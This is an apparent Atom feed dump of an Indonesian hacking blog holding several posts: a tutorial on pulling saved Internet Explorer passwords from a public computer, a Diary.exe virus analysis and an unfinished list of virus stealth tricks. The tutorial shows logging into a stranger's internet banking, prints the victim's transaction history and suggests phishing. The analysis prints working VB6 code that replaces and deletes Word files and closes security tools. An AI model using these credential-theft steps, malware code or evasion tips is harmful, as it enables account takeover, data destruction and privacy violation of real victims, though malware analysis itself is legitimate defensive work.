aplikasi itu sendiri. Apakah ini termasuk "celah" pada Windows?&lt;br /&gt;Kalo menurut penulis ini bukanlah suatu celah, tetapi hanya membuat Explorer.exe tidak Load. Cara Recovery tidak perlu dilakukan&lt;br /&gt;dengan Go back, deep freeze atau instal ulang. Dengan menggunakan CD Recovery XP Bikinan sendiri kita dapat menanggulangi masalah tsb.&lt;br /&gt;&lt;br /&gt;Penutup#&lt;br /&gt; Penulis bukanlah Hacker Sejati, melainkan seorang yang masih belajar tentang dunia Teknologi Informasi. Sudah banyak E-zine yang menyebutkan apa itu seorang&lt;br /&gt;hacker Sejati atau Elite atau apapun namanya. Bila ingin benar-benar mengexploitasi suatu celah OS, ada baiknya mempelajari apa itu shellcode, payload dan exploit.&lt;br /&gt;Penulis tidak meragukan kemampuan author Gutbai.exe dalam pemograman, alangkah baiknya bila kemampuan tsb digunakan untuk kebaikan bersama =) =).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-558429958364631258?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/558429958364631258/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=558429958364631258' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/558429958364631258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/558429958364631258'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/gutbaiexe-apa-dan-solusinya.html' title='Gutbai.exe, Apa dan Solusinya'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-6248497346860688216</id><published>2007-06-28T22:59:00.000+07:00</published><updated>2007-06-30T01:05:59.721+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Auto Complete, Kemudahan atau Kerawanan???</title><content type='html'>Author : PusHm0v @ PusHm0v Software Development&lt;br /&gt;Date   : 15/9/2006&lt;br /&gt;&lt;br /&gt;Shoutz : All echo|staff, yogyafree|staff, The Killer Team&lt;br /&gt;  Myztx, vaganci, ^family_code^, TOMMY, adhietslank, etc.&lt;br /&gt;         #e-c-h-o, #yogyafree, #javahack, #koncek, #canda, #canda-ops @DAL.NET&lt;br /&gt;         newbie_hacker@yahoogroups.com, yogyafree@yahoogroups.com&lt;br /&gt;         IT_CENTER@yahoogroups.com, ProgrammerVB@yahoogroups.com&lt;br /&gt;  virus_baru@yahoogroups.com&lt;br /&gt;         VBbego.com, Virology.info, Vbtn.com&lt;br /&gt;         IA01 dan 1IA07, Lab MaDas angk. 19 @ Gunadarma University&lt;br /&gt;         Dan teman2 serta kerabat2 lain yang tidak bisa disebutkan satu-persatu&lt;br /&gt;&lt;br /&gt;Notes  : Penulis TIDAK bertanggung jawab atas penggunaan maupun penyalahgunaan dari artikel ini.&lt;br /&gt;  Tujuan dibuat artikel HANYA untuk BAHAN PEMBELAJARAN saja.&lt;br /&gt;         Semua nama, URL, domain, IP address, username, password dalam artikel ini disamarkan demi &lt;br /&gt;         keamanan dan privasi.&lt;br /&gt;         Bila pembaca artikel ini menganggap artikel ini menyinggung perasaan, maka Penulis &lt;br /&gt;         memohon maaf sebesar-besarnya.&lt;br /&gt;         &lt;br /&gt;Main#&lt;br /&gt; Adanya fitur AutoComplete ataupun password storage di berbagai macam browser saat ini &lt;br /&gt;merupakan terobosan inovatif, mengingat kemampuan seseorang dalam menghapal. Dengan &lt;br /&gt;fitur ini pula kita dapat mengehemat waktu mengetik dan mengisi kolom username dan password.&lt;br /&gt; Pernahkah anda bermain di suatu kafe internet atau kantor, dan membuka halaman login dari &lt;br /&gt;Email anda mengetik atau menekan 1 huruf depan dari username anda browser saat itu juga langsung&lt;br /&gt;menampilkan pilihan username-username yang sudah pernah diinputkan?? Bila anda memakai komputer &lt;br /&gt;dengan single user mungkin tak masalah, lalu bagaimana bila multiuser?? Ada kemungkinan username&lt;br /&gt;bahkan password anda dapat diambil oleh orang lain.&lt;br /&gt; Berbekal aplikasi password recovery kita dapat mengambil dan membongkar username-password yang&lt;br /&gt;tersimpan ini. Penulis menggunakan Passcape Internet Explorer Password Recovery (www.passcape.com).&lt;br /&gt;Kebetulan Browser di warnet penulis menggunakan Internet Explorer (selanjutnya disingkat menjadi IE saja)&lt;br /&gt;yang fitur AutoComplete sedang menyala.&lt;br /&gt; Install Passcape Internet Explorer Password Recovery (selanjutnya disingkat menjadi PIEPR saja),&lt;br /&gt;lalu pilih metode Recovery yang akan dijalankan :&lt;br /&gt;&lt;br /&gt; * AUTOMATIC : akan membuka Password yang tersimpan secara otomatis&lt;br /&gt; * MANUAL : akan membuka Password melalui file ntuser.dat, biasanya di C:\Documents and Settings\%nama_user%&lt;br /&gt; * CONTENT ADVISOR : akan meng-Edit status dan password dari Internet Explorer Content Advisor&lt;br /&gt; * ASTERISKS PASSWORDS : akan membuka "tabir" karakter '*' atau asterik dari kolom password&lt;br /&gt; * MISCELLANEOUS : akan menampilkan macam-macam cookie, cache atau URL yang disimpan oleh IE &lt;br /&gt;&lt;br /&gt; Kita akan menggunakan fitur AUTOMATIC untuk membuka password yang tersimpan. Klik Next&gt;&gt; lalu PIEPR akan&lt;br /&gt;menampilkan sejumlah kolom yang berisi keterangan resource IE apa yang dapat dibuka beserta username dan password.&lt;br /&gt;&lt;br /&gt;Contoh hasil Recovery PIEPR:&lt;br /&gt;&lt;br /&gt;&lt;&lt;&lt; Internet Explorer passwords &gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;Created by Passcape Internet Explorer Password Recovery&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IE resource type : IE autocomplete passwords&lt;br /&gt;Resource name    : https://ib.bankapajah.co.id/retail/Login.do&lt;br /&gt;User name/Value  : xxxxxxx&lt;br /&gt;Password         : xxxxxxx&lt;br /&gt;&lt;br /&gt;IE resource type : Identity passwords&lt;br /&gt;Resource name    : Main Identity&lt;br /&gt;User name/Value  : &lt;br /&gt;Password         : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PIEPR v1.4.1.170&lt;br /&gt;09-15-2006  10:23:08&lt;br /&gt;&lt;br /&gt; Diatas merupakan username dan password dari sebuah session login internet banking di salah satu Bank swasta nasional.&lt;br /&gt;Dapat dibayangkan apa yg terjadi bila kita mempunyai akses untuk melihat, mengubah bahkan mengambil uang dari akun tersebut.&lt;br /&gt;Berikut contoh hasil pemeriksaan saldo dan histori transaksi dari akun tersebut:&lt;br /&gt;&lt;br /&gt;NAMA_ORANG_YANG_KENA_TEPU&lt;br /&gt; 15 Sep 2006, 12:53:40  HELP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;POSISI SALDO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nomor Transaksi : 0609150069978&lt;br /&gt;Nomor Rekening : xxxxxxxxxxxxx&lt;br /&gt;Jenis Rekening : Tabungan &lt;br /&gt;Tanggal - Jam : 15 September 2006 - 12:53 PM &lt;br /&gt;Posisi Saldo : Rp. 3.352.512,44&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HISTORI TRANSAKSI&lt;br /&gt;&lt;br /&gt;Nomor Transaksi : 0609150070131&lt;br /&gt;Nomor Rekening : xxxxxxxxxxxxx Rp.&lt;br /&gt;Jenis Rekening : Tabungan &lt;br /&gt;Periode Transaksi : 14 Aug 2006- 15 Sep 2006 &lt;br /&gt;Tampilkan Berdasarkan : Tanggal&lt;br /&gt;Urutkan Berdasarkan : Mulai dari yang kecil&lt;br /&gt;&lt;br /&gt;Tanggal Keterangan Transaksi Debet Kredit&lt;br /&gt;14/08/2006  VE POS SA&lt;br /&gt;21765315 /0000186584/VAP-SARINAH THA 160.000,00 0,00&lt;br /&gt;14/08/2006  SA ATM PLN PAYM DR&lt;br /&gt;41100046011547100899423&lt;br /&gt;S1AD00FW /6765 /ATM-SPBU P KLP 150.115,00 0,00&lt;br /&gt;14/08/2006  SA ATM PLN PAYM DR&lt;br /&gt;41100046011547100899423&lt;br /&gt;S1AD00FW /6765 /ATM-SPBU P KLP 2.500,00 0,00&lt;br /&gt;15/08/2006  SA ATM Withdrawal&lt;br /&gt;S1AD00FW /7581 /ATM-SPBU P KLP 1.000.000,00 0,00&lt;br /&gt;15/08/2006  INW.CN-SKN CR SA-MCS&lt;br /&gt;CHEVRON INDONESIA COMPANY - 032 0,00 2.234.825,00&lt;br /&gt;15/08/2006  VE POS SA&lt;br /&gt;00019333 /0000198403/VAP-TOKO GUNUNG 101.000,00 0,00&lt;br /&gt;17/08/2006  SA ATM Withdrawal&lt;br /&gt;S1AD00FW /7878 /ATM-SPBU P KLP 1.000.000,00 0,00&lt;br /&gt;19/08/2006  SA ATM Withdrawal&lt;br /&gt;S1AP125I /3170 /ATM-TMN GALAXY1 500.000,00 0,00&lt;br /&gt;20/08/2006  VE POS SA&lt;br /&gt;61029923 /0000292379/VAP-MDS (ARION 195.000,00 0,00&lt;br /&gt;22/08/2006  SA ATM Withdrawal&lt;br /&gt;S1AP1449 /6920 /ATM-KC T AGUNG1 1.000.000,00 0,00&lt;br /&gt;23/08/2006  SA ATM Withdrawal&lt;br /&gt;S1AM141Z /9388 /ATM-BDR JUANDA2 500.000,00 0,00&lt;br /&gt;26/08/2006  SA ATM Withdrawal&lt;br /&gt;S1AP12EQ /9678 /ATM-METROPOLITA 100.000,00 0,00&lt;br /&gt;27/08/2006  SA ATM Withdrawal&lt;br /&gt;S1AD00FW /1633 /ATM-SPBU P KLP 150.000,00 0,00&lt;br /&gt;28/08/2006  INW.CN-SKN CR SA-MCS&lt;br /&gt;CHEVRON INDONESIA COMPANY - 031 0,00 13.866.238,00&lt;br /&gt;31/08/2006  Bunga Rekening 0,00 14.740,63&lt;br /&gt;31/08/2006  Biaya Administrasi 7.000,00 0,00&lt;br /&gt;02/09/2006  SA OB SA No Book&lt;br /&gt;Transfer untuk September&lt;br /&gt;1250005534326 5.000.000,00 0,00&lt;br /&gt;02/09/2006  SA OB SA No Book&lt;br /&gt;Transfer untuk September 1.000,00 0,00&lt;br /&gt;02/09/2006  INT-BK CCPYM CA/SA&lt;br /&gt;4137180305168351 300.000,00 0,00&lt;br /&gt;06/09/2006  INT-BK CCPYM CA/SA&lt;br /&gt;4137180305168351 2.543.987,00 0,00&lt;br /&gt;06/09/2006  INT-B DR SA BILL PMT&lt;br /&gt;030208160140021008226614 170.804,00 0,00&lt;br /&gt;06/09/2006  SA INT PLN PAYM DR&lt;br /&gt;41000046014547100899423 150.115,00 0,00&lt;br /&gt;06/09/2006  SA INT PLN PAYM DR&lt;br /&gt;41000046014547100899423 2.500,00 0,00&lt;br /&gt;06/09/2006  SA OB SA No Book&lt;br /&gt;untuk bni chay, thanks&lt;br /&gt;1250005534326 2.500.000,00 0,00&lt;br /&gt;06/09/2006  SA OB SA No Book&lt;br /&gt;untuk bni chay, thanks 1.000,00 0,00&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Saldo Awal : 2.771.729,81 &lt;br /&gt;Total Kredit : 16.115.803,63 &lt;br /&gt;Total Debet : 15.535.021,00 &lt;br /&gt;Saldo Akhir : 3.352.512,44&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Waw!!! kita bisa melihat semua transaksi akun tersebut. Apa yang bisa kita lakukan setelah itu? kita bisa melakukan&lt;br /&gt;phising ataupun spamming dengan mengambil data-data penting lainnya, seperti :&lt;br /&gt;&lt;br /&gt;UBAH ALAMAT E-MAIL&lt;br /&gt; &lt;br /&gt;Nama         : NAMA_ORANG_YANG_KENA_TEPU &lt;br /&gt;Tanggal Lahir : 29 February 1900&lt;br /&gt;Alamat E-Mail : KENA_TEPU@mailboongan.com&lt;br /&gt;&lt;br /&gt;Solusi#&lt;br /&gt; Bisa kita bayangkan akibat terburuk dari password stealing seperti itu, transfer dana tanapa kita duga, pengambil-alihan&lt;br /&gt;rekening, pengubahan password, hingga pencurian data-data penting kita. Bagaimana kita menghindari hal tersebut?&lt;br /&gt; Aplikasi pembersih Cookie atau cache Browser dapat kita manfaatkan, bahkan dari IE pun sudah ada fitur ini. &lt;br /&gt;&lt;br /&gt; &gt; Buka browser IE anda, pilih Tools pada toolbar.&lt;br /&gt; &gt; Pilih Internet Options&lt;br /&gt; &gt; Klik Delete Cookies untuk menghapus cookies anda, Delete Files untuk menghapus file-file temporer dan Clear History untuk&lt;br /&gt;   membersihkan sisa-sisa "perjalanan" anda selama browsing.&lt;br /&gt;&lt;br /&gt; Bila fitur tersebut dirasa kurang memadai, maka anda dapat menggunakan aplikasi third party, seperti cookies washer atau sejenisnya.&lt;br /&gt;Selain ancaman Password recovery seperti PIEPR, ada aplikasi keylogger yang dapat mencatat semua ketikan anda. Untuk mengakali hal ini,&lt;br /&gt;anda dapat menggunakan fitur on Screen-keyboard Windows.&lt;br /&gt;&lt;br /&gt; &gt; Buka menu START, pilih ALL Programs lalu Accessories&lt;br /&gt; &gt; Lalu pilih On-Screen Keyboard.&lt;br /&gt;&lt;br /&gt;Kesimpulan#&lt;br /&gt; Pencurian password dan username dalam komputer publik merupakan hal yang wajar mengingat kelemahan sistem yang ada. &lt;br /&gt;Fitur AutoComplete yang disediakan oleh Browser saat ini dapat menjadi bumerang bagi pemakainya apabila tidak berhati-hati&lt;br /&gt;dalam pemakaiannya. Aplikasi Password Recovery seperti PIEPR dapat menampilkan semua username dan password yang pernah disimpan&lt;br /&gt;selama kegiatan Browsing. Lakukan pembersihan Cookies dan History anda setiap kali selesai browsing agar menghindari penyalahgunaan&lt;br /&gt;hak akses. &lt;br /&gt;&lt;br /&gt;Penutup#&lt;br /&gt; Penulis tidak bermaksud untuk mengajak pembaca menjadi seorang "PENCURI", tetapi prihatin atas kurangnya informasi dan kesadaran&lt;br /&gt;dari pengguna komputer publik dalam menjaga rahasia pribadinya. Dengan artikel sederhana (mungkin jelek :P) ini penulis ingin membawa &lt;br /&gt;pembaca untuk lebih waspada terhadap teknik-teknik pencurian data rahasia. Semoga artikel ini bermanfaat bagi kita semua. Amien. =)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-6248497346860688216?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/6248497346860688216/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=6248497346860688216' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6248497346860688216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6248497346860688216'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/auto-complete-kemudahan-atau-kerawanan.html' title='Auto Complete, Kemudahan atau Kerawanan???'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-4749071879304509354</id><published>2007-06-28T22:58:00.000+07:00</published><updated>2007-06-30T01:06:25.700+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Diary.Exe, Apa dan Bagaimana?</title><content type='html'>- 13-3-06 -&lt;br /&gt;&lt;br /&gt;$A little Words...&lt;br /&gt;Penulis ingin menyampaikan bagaimana virus Diary.exe bekerja&lt;br /&gt;dan tidak ada maksud untuk menyinggung atau menyakiti perasaan&lt;br /&gt;korban - korban yang telah terinfeksi oleh virus ini.&lt;br /&gt;Analisis Virus dalam Artikel ini mungkin bersifat sangat Dasar, &lt;br /&gt;oleh karena itu Saya mohon maaf sebesar-besarnya jika ada kekurangan. &lt;br /&gt;&lt;br /&gt;$Start...&lt;br /&gt;&gt;Diary.Exe adalah salah satu Virus (yang katanya cukup Berbahaya oleh Vaksin.com) buatan &lt;br /&gt;Vxer (pembuat Virus) lokal. Virus ini dibuat dengan menggunakan Bahasa Visual Basic 6.0.&lt;br /&gt;Menurut Norman AV, virus ini dikategorikan sebagai varian dari Virus Kangen yang sempat &lt;br /&gt;tersebar beberapa waktu lalu. Saya tidak tahu mengapa disebut-sebut sebagai varian kangen,&lt;br /&gt;apakah karena Icon yang dipilih adalah Icon MS-Word? atau karena sifatnya yg menginfeksi &lt;br /&gt;file MS-WORD saja? Sampai saat ini saya belum tahu..&lt;br /&gt;Yang pasti virus ini pertama kali disebarkan di Laboratorium Komputer di salah satu &lt;br /&gt;Universitas yang ada di Depok. &lt;br /&gt;&gt;Virus Diary.Exe bekerja menggunakan algoritma (yang kurang-lebihnya) sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     |START EXECUTION|&lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;        |  Create File Diary Seorang Newbie.txt  |&lt;br /&gt;        |di folder %userprofile%\Application Data|&lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;     |Periksa apakah folder %ProgramFiles%\Common Files\System ada?|&lt;br /&gt;       &lt;br /&gt;      |           tidak ada&lt;br /&gt;          |-------------------------------------------&gt;|&lt;br /&gt;          ada|          | &lt;br /&gt;   &lt;br /&gt;          | Create file Explorer.Exe di folder | |Create file di folder %systemroot&amp;\System32|&lt;br /&gt;          | %ProgramFiles%\Common Files\System |&lt;br /&gt;&lt;br /&gt;      |&lt;-------------------------------------------|&lt;br /&gt;&lt;br /&gt;  |Infeksi key-key di Registry, Hidden file, Disableregistrytools, Dll|&lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;  |Periksa apakah folder %Program Files%\InstallShield Installation Information ada?|&lt;br /&gt;       &lt;br /&gt;      |           tidak ada&lt;br /&gt;          |------------------------------------------------&gt;|&lt;br /&gt;          ada|                                                 |&lt;br /&gt;      |  |Create folder %Program Files%\InstallShield Installation Information|  &lt;br /&gt;      |        |&lt;br /&gt;      |&lt;------------------------------------------------|           &lt;br /&gt;&lt;br /&gt;   |Create file Rsvdb.Exe ke %Program Files%\InstallShield Installation Information|   &lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;                |Create file RegsvcChk.Exe ke folder %SystemRoot%|&lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;  |Create file Spoolsw.Exe ke folder %userprofile%\Application Data|&lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;        |Execute Regsvcchk.Exe| &lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;         |Execute Spoolsw.Exe|&lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;        |Deteksi dan hapus Virus Kangen All Varian di Komputer|&lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;      |Deteksi dan Infeksi semua File MS-Word (*.Doc) di Komputer|&lt;br /&gt;&lt;br /&gt;      |&lt;br /&gt;&lt;br /&gt;      |END EXECUTION|&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&gt;Semua file MS-Word yang terdeteksi akan diambil namanya, lalu sang virus akan meng-&lt;br /&gt;gandakan dirinya menggunakan nama file tsb. Lalu bagaimana dengan file .Doc tersebut?&lt;br /&gt;File tsb akan dihapus/didelete. Algoritma jahat inilah yang merugikan banyak user &lt;br /&gt;komputer karena semua file .Docnya telah hilang.&lt;br /&gt;&gt;Berikut cuplikan dari Source Code Diary.Exe :&lt;br /&gt;&lt;br /&gt;----------------------------Cut Here---------------------------------&lt;br /&gt;Private Sub cek(path As String)&lt;br /&gt;On Error Resume Next&lt;br /&gt; If Right(path, 1) &lt;&gt; "\" Then&lt;br /&gt;  path = path + "\"&lt;br /&gt; End If&lt;br /&gt;Set fol = fso.getfolder(path)&lt;br /&gt;Set fil = fol.Files&lt;br /&gt;Set subfol = fol.subfolders&lt;br /&gt;If fso.fileexists(path + "Diary.exe") = True Then&lt;br /&gt; GoTo a&lt;br /&gt;Else&lt;br /&gt; Call copi("Diary.exe", path)&lt;br /&gt;End If&lt;br /&gt;a: For Each fil2 In fil&lt;br /&gt;If fso.getextensionname(fil2.Name) = "doc" Or fso.getextensionname(fil2.Name) = "DOC" Then&lt;br /&gt; desk1 = Left(fil2.Name, Len(fil2.Name) - 4)&lt;br /&gt; Call copi(desk1 + ".exe", path)&lt;br /&gt; Kill fil2.path&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;For Each subfols In subfol&lt;br /&gt;cek (subfols.path)&lt;br /&gt;Next&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;----------------------------Cut Here---------------------------------&lt;br /&gt;&lt;br /&gt;----------------------------Cut Here---------------------------------&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt; Call GetActiveWindowName&lt;br /&gt; tutup&lt;br /&gt;  If InStr(tampung, "A:") &lt;&gt; 0 Then&lt;br /&gt;   cek ("A:")&lt;br /&gt;  End If&lt;br /&gt; cari&lt;br /&gt;  If i &gt; 0 Then&lt;br /&gt;   For j = 0 To i - 1&lt;br /&gt;    If desk(j) &lt;&gt; "" Then&lt;br /&gt;     If InStr(tampung, desk2(j)) &lt;&gt; 0 Then&lt;br /&gt;      cek (desk2(j))&lt;br /&gt;     End If&lt;br /&gt;    End If&lt;br /&gt;   Next&lt;br /&gt; End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;----------------------------Cut Here---------------------------------&lt;br /&gt;&lt;br /&gt;&gt;Algoritma tersebut adalah bagaimana Virus bisa mendeteksi dikala user sedang membuka&lt;br /&gt;Removeable Drive (Disket, USB, Dll) dengan mengambil Window Captionnya. Hal ini tidak&lt;br /&gt;akan berlaku bila user membukanya di lingkungan DOS (Command Prompt). Dengan cara itu pula&lt;br /&gt;virus bisa menggandakan dirinya dan menyebarkannya lewat Floopy Disk atau USB Drive.&lt;br /&gt;&gt;Virus juga akan me-Minimize window-window yang mempunyai string "Registry Editor", &lt;br /&gt;"Application Data", "WINDOWS", "WINNT", "Program Files", "Command Prompt, "DOS", "Task", &lt;br /&gt;"Process", "System", "Hijack", dan "Kill". Berikut adalah code dari algortima tsb :&lt;br /&gt;&lt;br /&gt;----------------------------Cut Here---------------------------------&lt;br /&gt;&lt;br /&gt;Private Sub tutup()&lt;br /&gt;If InStr(tampung, "Registry Editor") &lt;&gt; 0 Or InStr(tampung, "Application Data") &lt;&gt; 0 Or InStr(tampung, "WINDOWS") &lt;&gt; 0_&lt;br /&gt; Or InStr(tampung, "WINNT") &lt;&gt; 0 Or InStr(tampung, "Program Files") &lt;&gt; 0 Or InStr(tampung, "Command Prompt") &lt;&gt; 0_&lt;br /&gt; Or InStr(tampung, "DOS") &lt;&gt; 0 Or InStr(tampung, "Task") &lt;&gt; 0 Or InStr(tampung, "Process") &lt;&gt; 0 Or InStr(tampung, "System") &lt;&gt; 0_&lt;br /&gt; Or InStr(tampung, "Hijack") &lt;&gt; 0 Or InStr(tampung, "Kill") &lt;&gt; 0 Then&lt;br /&gt;      CloseWindow GetForegroundWindow&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;    &lt;br /&gt;----------------------------Cut Here---------------------------------&lt;br /&gt;&lt;br /&gt;&gt;Sebagai Virus pasti Diary.Exe juga memerlukan suatu method Autorun saat komputer Boot. Virus ini&lt;br /&gt;menggunakan key di HKLM\Software\Microsoft\Windows\CurrentVersion\Run dengan value NvsSchd dan berisi &lt;br /&gt;data %Program Files%\Common Files\System\Explorer.exe. &lt;br /&gt;&gt;Karena ketidaksempurnaan dalam penulisan program, maka virus ini hanya dapat berjalan di sistem operasi&lt;br /&gt;Windows XP, 2000 atau 2003. Virus ini berukuran sekitar 60 Kb dan yang telah dikompresi berukuran 20 Kb&lt;br /&gt;dengan menggunakan kompresi UPX.&lt;br /&gt;&lt;br /&gt;$API Functions List...&lt;br /&gt;&gt;GetSystemDirectory&lt;br /&gt; GetWindowText&lt;br /&gt; GetDesktopWindow &lt;br /&gt; GetTopWindow  &lt;br /&gt; CloseWindow &lt;br /&gt; GetWindowText &lt;br /&gt; GetForegroundWindow  &lt;br /&gt; FindWindow &lt;br /&gt; SendMessage &lt;br /&gt;&lt;br /&gt;$Advantages N Disadvantages...&lt;br /&gt;&gt;Virus berukuran cukup kecil&lt;br /&gt;&gt;Selain mem-blok akses, juga me-minimize window-window&lt;br /&gt;&gt;Virus tidak dapat berjalan di Windows 9x dan Me&lt;br /&gt;&gt;Teknik search file masih menggunakan FSO dan WSH&lt;br /&gt;&gt;Menghapus file korban&lt;br /&gt;&lt;br /&gt;$End...&lt;br /&gt;&gt;Diary.Exe dapat dikatakan salah satu virus lokal berbahaya karena menghapus file-file MS-Word di Komputer yang&lt;br /&gt;terinfeksi. Penyebaran virus ini masih rendah, Media penyebarannya melalui Disket dan USB Drive. Teknik searching&lt;br /&gt;file .Doc menggunakan teknik file scripting object. Dan implementasi Key Registry menggunakan teknik Windows Scripting.&lt;br /&gt;Demikian artikel sederhana ini, kurang atau lebihnya saya mohon maaf....&lt;br /&gt;&lt;br /&gt;$Greetz...&lt;br /&gt;&gt;Myztx @ Myztx Soft. House.&lt;br /&gt;&gt;All member of Mail-list : EcHo, Jasakom, Yogyafree, ITCenter, Virologi, Balihack n the others.&lt;br /&gt;&gt;Spyro, Vaganci, Yanto, n All my Friends at 01 [2005] n 07 [2004].&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-4749071879304509354?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/4749071879304509354/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=4749071879304509354' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4749071879304509354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4749071879304509354'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/diaryexe-apa-dan-bagaimana.html' title='Diary.Exe, Apa dan Bagaimana?'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-3496866635903831941</id><published>2007-06-28T22:56:00.002+07:00</published><updated>2007-06-28T22:58:32.811+07:00</updated><title type='text'>Implementasi Teknik Stealth Pada Virus</title><content type='html'>- 27-2-06 -&lt;br /&gt;&lt;br /&gt;$&gt; A little Words...&lt;br /&gt; Penulis tidak bertanggung jawab atas kerugian yang ditimbulkan atas penggunaan artikel ini (Use at Your Own Risk). &lt;br /&gt;&lt;br /&gt;$&gt; Start...&lt;br /&gt; Mungkin sebagian (Atau seluruhnya) Vx3r (Pembuat Virus) pasti menemukan suatu permasalahan dalam&lt;br /&gt;membuat Virusnya agar susah dihapus atau meminimalisir pendeteksian oleh User ataupun Anti Virus.&lt;br /&gt; Bagaimana sih cara-cara Vx3r itu menyembunyikan Virusnya di kOmputer korban? Ada beberapa cara yang&lt;br /&gt;klasik dan sangat sering dilakukan, Seperti:&lt;br /&gt;&lt;br /&gt;1. Merubah nama File Virus menjadi (mirip) File system Windows, contoh : RunDll32.exe, Winsys32.exe,dll&lt;br /&gt;2. Menempatkan File Virus di Folder Hidden atau di Folder System Windows.&lt;br /&gt;3. Menghalangi Akses ke Task Manager maupun Tool-tool yang dapat menampilkan proses yang sedang&lt;br /&gt;   berlangsung. Hal ini lumrah karena virus ingin eksistensinya dipertahankan.&lt;br /&gt;4. Menggunakan nama file yang random atau acak.&lt;br /&gt;5. Menggunakan Ikon yang umum seperti MS-Word, Folder, Setup program, dll.&lt;br /&gt;6. Memblok fasilitas Search.&lt;br /&gt;7. Dan lainnya.&lt;br /&gt;&lt;br /&gt; Lalu apa saja kelemahannya? Untuk penggunaan Ikon yang umum hal ini sangat fatal, karena User dapat &lt;br /&gt;membedakan antara ikon Default File *.Exe dengan ikon yang dipakai oleh Virus. Sebagai contoh apabila &lt;br /&gt;si Virus memakai Ikon MS-Word maka akan terjadi suatu kejanggalan, "Ikonnya Word kok ekstensinya Exe?". &lt;br /&gt; Contoh lagi kasus penggunaan nama file random atau acak. Pada hal ini diperlukan suatu penyimpanan &lt;br /&gt;dari nama file acak itu, karena pada Trigger Virus jalan dia akan mencari file yang dimaksud. Pemyimpanan&lt;br /&gt;nya pun berupa file ataupun key di registry. Kedua teknik penyimpanan tersebut sama baiknya apabila dilengkapi &lt;br /&gt;oleh teknik Enkripsi. Pada suatu Virus yang pernah saya temukan dan analisa, Kangen.E telah menggunakan &lt;br /&gt;nama acak dan penyimpanan di suatu file *.sys. Dan file tersebut 